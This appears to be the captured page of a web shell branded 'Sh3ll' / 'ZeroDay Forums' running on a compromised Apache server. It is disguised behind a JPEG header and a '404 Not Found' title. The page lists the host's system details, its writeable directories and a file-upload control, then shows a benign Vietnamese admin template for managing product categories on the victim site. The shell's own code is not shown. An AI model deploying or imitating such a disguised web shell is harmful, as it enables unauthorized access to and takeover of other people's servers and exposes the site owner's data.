����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/thietkewebvumi.com/admin_new/skin/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/thietkewebvumi.com/admin_new/skin/admin/productcat.tpl
<h4 class="alert_info"><form action="index.php?act=productcat" method="post">
    <input type="text" name="fkeyword" value="" />
    <input type="submit" name="submita" value="Tìm menu" />
</form></h4>
{if $status == 'del_success'}
<h4 class="alert_success">Xóa danh mục sản phẩm thành công</h4>
{/if}
{if $status == 'add_success'}
<h4 class="alert_success">Thêm danh mục sản phẩm thành công</h4>
{/if}
{if $status == 'edit_success'}
<h4 class="alert_success">Sửa danh mục sản phẩm thành công</h4>
{/if}
{if $section == 'list'}
<script type="text/javascript">
    function get_mid(type){
        switch(type){
            case 'del':
                if(confirm('Bạn có chắc muốn xóa?')){
                    $('#type').attr('value','del');
                    $('#form1').submit();
                    return false;
                }
            break;
            default:
                $('#type').attr('value',type);
                $('#form1').submit();
                return false;
            break;
        }
    }
</script>
<article class="module width_full">
    <header><h3 class="tabs_involved"><a href="javascript:void(0);" onclick="get_mid('del');">Xóa</a> |
        <a href="javascript:void(0);" onclick="get_mid('active');">Kích hoạt</a> |  <a href="javascript:void(0);" onclick="get_mid('deactive');">Bỏ kích hoạt</a> | <a href="javascript:void(0);" onclick="get_mid('hot');">Nổi bật</a> | <a href="javascript:void(0);" onclick="get_mid('dehot');">Bỏ nổi bật</a> |
        <a href="javascript:void(0);" onclick="get_mid('pos_value_active');">Cập nhật vị trí</a>
       </h3></header>
    {if $list}
    <input type="checkbox" name="all" id="checkall" /> Check all


    <div class="tab_container">

        <form action="index.php" method="post" name="post" id="form1">
            <input type="hidden" name="act" value="productcat">
            <input type="hidden" id="type" name="type" value="">
        <div id="tab1" class="tab_content">
            <a name="menu"></a>
            <table class="tablesorter" cellspacing="0">
                <thead>
                <tr>
                    <th> </th>
                    <th>Vị trí</th>
                    <th>Tiêu đề</th>
                    <th>Icon</th>
                    <th>Ngày gửi</th>
                    <th>Kích hoạt</th>
                    {*<th>Nổi bật</th>*}
                    <th>Actions</th>
                </tr>
                </thead>


                <tbody>
                {if $list}
                    {foreach from=$list key=k item=menu}
                <tr>
                    <td><input type="checkbox" value="{$menu.id}" name="mid_for_del[]"></td>
                    <td><input style="width: 20px;" type="text" value="{$menu.pos}" name="pos_value[{$menu.id}]"></td>
                    <td><a href="index.php?act=productcat&code=post&id={$menu.id}">{$menu.title}</a></td>
                    <td>{if $menu.id}<a href="index.php?act=productcat&code=post&id={$menu.id}"><img src="../upload/menu/{$menu.icon}" width="15" border="0"></a>{/if}</td>
                    <td>{$menu.time}</td>
                    <td>{if $menu.status==1}<img src="skin/{$skin_folder_admin}/images/icn_alert_success.png" title="Đang hoạt động">{else}<img src="skin/{$skin_folder_admin}/images/icn_alert_info.png" title="Chưa kích hoạt">{/if}</td>
                    {*<td>{if $menu.noibat==1}<img src="skin/{$skin_folder_admin}/images/icn_alert_success.png" title="Nổi bật">{else}<img src="skin/{$skin_folder_admin}/images/icn_alert_warning.png" title="Không nổi bật">{/if}</td>*}
                    <td><a href="index.php?act=productcat&code=post&id={$menu.id}"><img src="skin/{$skin_folder_admin}/images/icn_edit.png" title="Sửa"></a> <a href="index.php?act=productcat&code=del&id={$menu.id}" onclick="return confirm('Bạn có chắc muốn xóa?')"><img src="skin/{$skin_folder_admin}/images/icn_trash.png" title="Xóa"></a> {*<a href="../index.php?act=productcat&code=detail&id={$menu.id}"><img src="skin/{$skin_folder_admin}/images/icn_search.png" title="Xem trước"></a>*}</td>
                </tr>
                    {/foreach}
                {/if}
                </tbody>

            </table>
            <div class="spacer"></div>
            <div align="center">{$nav|html_entity_decode}</div>
            <div class="spacer"></div>
        </div>
        </form>

    </div><!-- end of .tab_container -->

    {else}
    <div class="tab_container"><h1 align="center">Chưa có dữ liệu</h1></div>
    {/if}


</article><!-- end of content manager article -->
<h1 align="center"><a href="index.php?act=productcat&code=post">Thêm mới</a></h1>
<script type="text/javascript">
    $('#checkall:checkbox').change(function () {
        if(this.checked){
            $('input:checkbox').attr('checked','checked');//<input type='checkbox'
        }else{
            $('input:checkbox').removeAttr('checked');
        }
    });
</script>
{/if}


{if $section == 'post'}
<script type="text/javascript">
 function change_type(type){
     if(type=='url'){
       $('#url_menu').show();

     }else{
         $('#url_menu').hide();
     }
     return true;
 }
</script>
<article class="module width_full">
    <header><h3>Quản lý danh mục sản phẩm</h3></header>
 <form name="post" id="post" action="" method="post" enctype="multipart/form-data">
    <div class="module_content">
        <fieldset>
            <label>Tiêu đề</label>
            <input type="text" value="{$post.title|html_entity_decode}" name="title" />
        </fieldset>
        {if $showen==1}
            <fieldset>
                <label>Tiêu đề tiếng Anh</label>
                <input type="text" value="{$post.etitle|html_entity_decode}" name="etitle" />
            </fieldset>
        {/if}
        <fieldset>
            <label>Loại danh mục</label>
            <select name="type" style="width:42%;" onchange="change_type(this.value);">
                <option value="menu" {if $post.type=='' or $post.type=='menu'}selected{/if}> Danh mục thường </option>
                <option value="url" {if $post.type=='url'}selected{/if}> URL </option>
            </select>
        </fieldset>
        <fieldset id="url_menu" {if $post.type!='url'}style="display: none;"{/if}>
            <label>Nhập URL</label>
            <input type="text" value="{$post.url}" name="url" />
        </fieldset>
        <fieldset>
            <label>Icon danh mục sản phẩm</label>
            <input type="file" name="image1" /> {if $post.icon}<img src="../upload/menu/thumb_{$post.icon}" width="50" />{/if}
        </fieldset>
        <fieldset>
            <label>Thuộc danh mục</label>
            <select name="parent_id" style="width:42%;">
                {$post.op_productcat|html_entity_decode}
            </select>
        </fieldset>
        <fieldset style="width:48%; float:left; margin-right: 3%;">
            <label>Vị trí (tăng dần)</label>
            <input style="width:10%;" type='text' name='pos' value='{$post.pos}'>

        </fieldset>
        <fieldset style="width:70%; float:left; margin-right: 3%;">
            <label>Kích hoạt ?</label>
            {$post.status}
        </fieldset>
    </div>
        <div class="submit_link">
            <input type="hidden" name="id" value="{$post.id}" />
            <input type="submit" name="bsubmit" value=" Lưu " />
        </div>
  </form>
</article><!-- end of post new article -->
{/if}

ZeroDay Forums Mini